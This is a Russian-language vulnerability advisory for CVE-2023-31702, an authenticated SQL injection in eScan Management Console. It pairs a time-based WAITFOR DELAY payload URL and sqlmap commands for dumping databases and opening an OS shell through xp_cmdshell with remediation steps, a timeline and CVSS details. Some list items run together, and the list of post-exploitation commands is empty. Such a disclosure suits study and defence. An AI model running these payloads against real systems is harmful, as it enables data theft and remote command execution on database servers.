
CVE-2023-31702 — это аутентифицированная уязвимость SQL-инъекции, обнаруженная в eScan Management Console компании MicroWorld Technologies версии 14.0.1400.2281.
CVE-2023-31702 — это уязвимость SQL-инъекции с аутентификацией, обнаруженная в MicroWorld Technologies eScan Management Console версии 14.0.1400.2281. Уязвимость существует в конечной точке GetUserCurrentPwd, где параметр UsrId передаётся напрямую в SQL-запрос без надлежащей очистки или параметризации. Аутентифицированный злоумышленник может использовать эту ошибку для выполнения слепой SQL-инъекции на основе времени, извлечения всей серверной базы данных и, в конечном счёте, получения интерактивной OS-оболочки на базовом Microsoft SQL Server — что приводит к полной компрометации системы.
Консоль управления eScan предоставляет веб-интерфейс для управления безопасностью конечных точек в сети организации. Функция «Просмотр профиля пользователя» открывает конечную точку в стиле REST:
/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>
Параметр UsrId включается в серверный SQL-запрос без проверки, экранирования или использования параметризованных запросов. Это позволяет аутентифицированному злоумышленнику внедрять произвольные SQL-выражения в запрос, что приводит к:
WAITFOR DELAY для подтверждения эксплуатации.xp_cmdshell (включаемой через sp_configure) для выполнения произвольных команд операционной системы на сервере с привилегиями учётной записи службы SQL Server.Успешная эксплуатация этой уязвимости позволяет злоумышленнику:
⚠️ Примечание: Злоумышленник должен сначала получить действительные учётные данные для консоли управления eScan. Однако после аутентификации эксплуатация проста и не требует повышенных привилегий консоли.
После аутентификации в консоли управления eScan перейдите по следующему URL-адресу:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493
Это возвращает данные профиля текущего пользователя, подтверждая доступность конечной точки.

Внедрите следующую полезную нагрузку с задержкой по времени в параметр UsrId:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176
Разбор полезной нагрузки:
; — завершает исходный SQL-оператор и начинает новый (составной запрос).WAITFOR DELAY '0:0:5' — указывает SQL Server приостановиться на 5 секунд перед ответом.-- — закомментировывает остаток исходного запроса, чтобы предотвратить синтаксические ошибки.Если ответ сервера задерживается примерно на 5 секунд, инъекция подтверждена.

После подтверждения слепой SQL-инъекции полную базу данных можно извлечь с помощью SQLMap:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--dbs \
--batch
Это перечисляет все базы данных, размещённые на серверной части SQL Server.
SQLMap также может расширить атаку до выполнения команд на уровне ОС, включив и используя xp_cmdshell:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--os-shell \
--batch
Это устанавливает интерактивную OS-оболочку на хосте SQL Server.

С установленной OS-оболочкой на сервере можно выполнять произвольные Windows-команды:

Настоятельно рекомендуется принять следующие меры для устранения и снижения риска данной уязвимости:
Используйте параметризованные запросы / подготовленные выражения — Никогда не конкатенируйте вводимые пользователем данные напрямую в SQL-запросы. Используйте связанные параметры для отделения данных от логики запроса.
Проверка и очистка входных данных — Строго проверяйте все параметры, предоставляемые пользователем, на стороне сервера. Для числовых идентификаторов, таких как UsrId, допускайте ввод только целых чисел и отклоняйте любые значения, содержащие специальные символы.
Примените исправление от вендора — Обновите eScan Management Console до последней доступной версии. Свяжитесь со службой поддержки MicroWorld Technologies или обратитесь к их уведомлениям о безопасности за последним исправленным выпуском.
Минимальные привилегии для учётных записей базы данных — Учётная запись базы данных приложения должна иметь только минимально необходимые разрешения. У неё не должно быть ролей sysadmin или db_owner, а процедура xp_cmdshell должна быть отключена.
Отключите xp_cmdshell — Если это явно не требуется, отключите расширенную хранимую процедуру xp_cmdshell на экземпляре SQL Server:
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
Межсетевой экран уровня приложения (WAF) — Разверните WAF для обнаружения и блокировки типичных шаблонов SQL-инъекций в качестве меры эшелонированной защиты.
| Дата | Событие |
|---|---|
| 16 мая 2023 | Уязвимость обнаружена и сообщена Sahil Ojha |
| Май 2023 | CVE-2023-31702 присвоен MITRE |
| Май 2023 | Публичное раскрытие |
Sahil Ojha — исследователь безопасности
Данная публикация предназначена только для образовательных целей и исследований в области безопасности. Эксплуатация этой уязвимости против систем без явного письменного разрешения незаконна и неэтична.
| Поле | Сведения |
|---|
| Идентификатор CVE | CVE-2023-31702 |
| Тип уязвимости | SQL-инъекция (слепая на основе времени / составные запросы) |
| Затронутый продукт | MicroWorld Technologies eScan Management Console |
| Затронутая версия | 14.0.1400.2281 |
| Уязвимая конечная точка | /ewconsole/ewconsole.dll/GetUserCurrentPwd |
| Уязвимый параметр | UsrId |
| Аутентификация | Требуется (действительные учётные данные консоли) |
| Протестировано на | Windows |
| Оценка CVSS v3.1 | 8.8 (Высокий) |
| Вектор CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Дата сообщения | 16 мая 2023 |
| Автор | Sahil Ojha |
| Поле | Сведения |
|---|
| Вендор | MicroWorld Technologies |
| Продукт | eScan Management Console |
| Домашняя страница вендора | https://www.escanav.com |
| Ссылка на ПО | https://cl.escanav.com/ewconsole.dll |
| Платформа | Windows |
Сегментация сети — Ограничьте доступ к консоли управления eScan доверенными диапазонами IP-адресов и убедитесь, что SQL Server не доступен напрямую из интернета.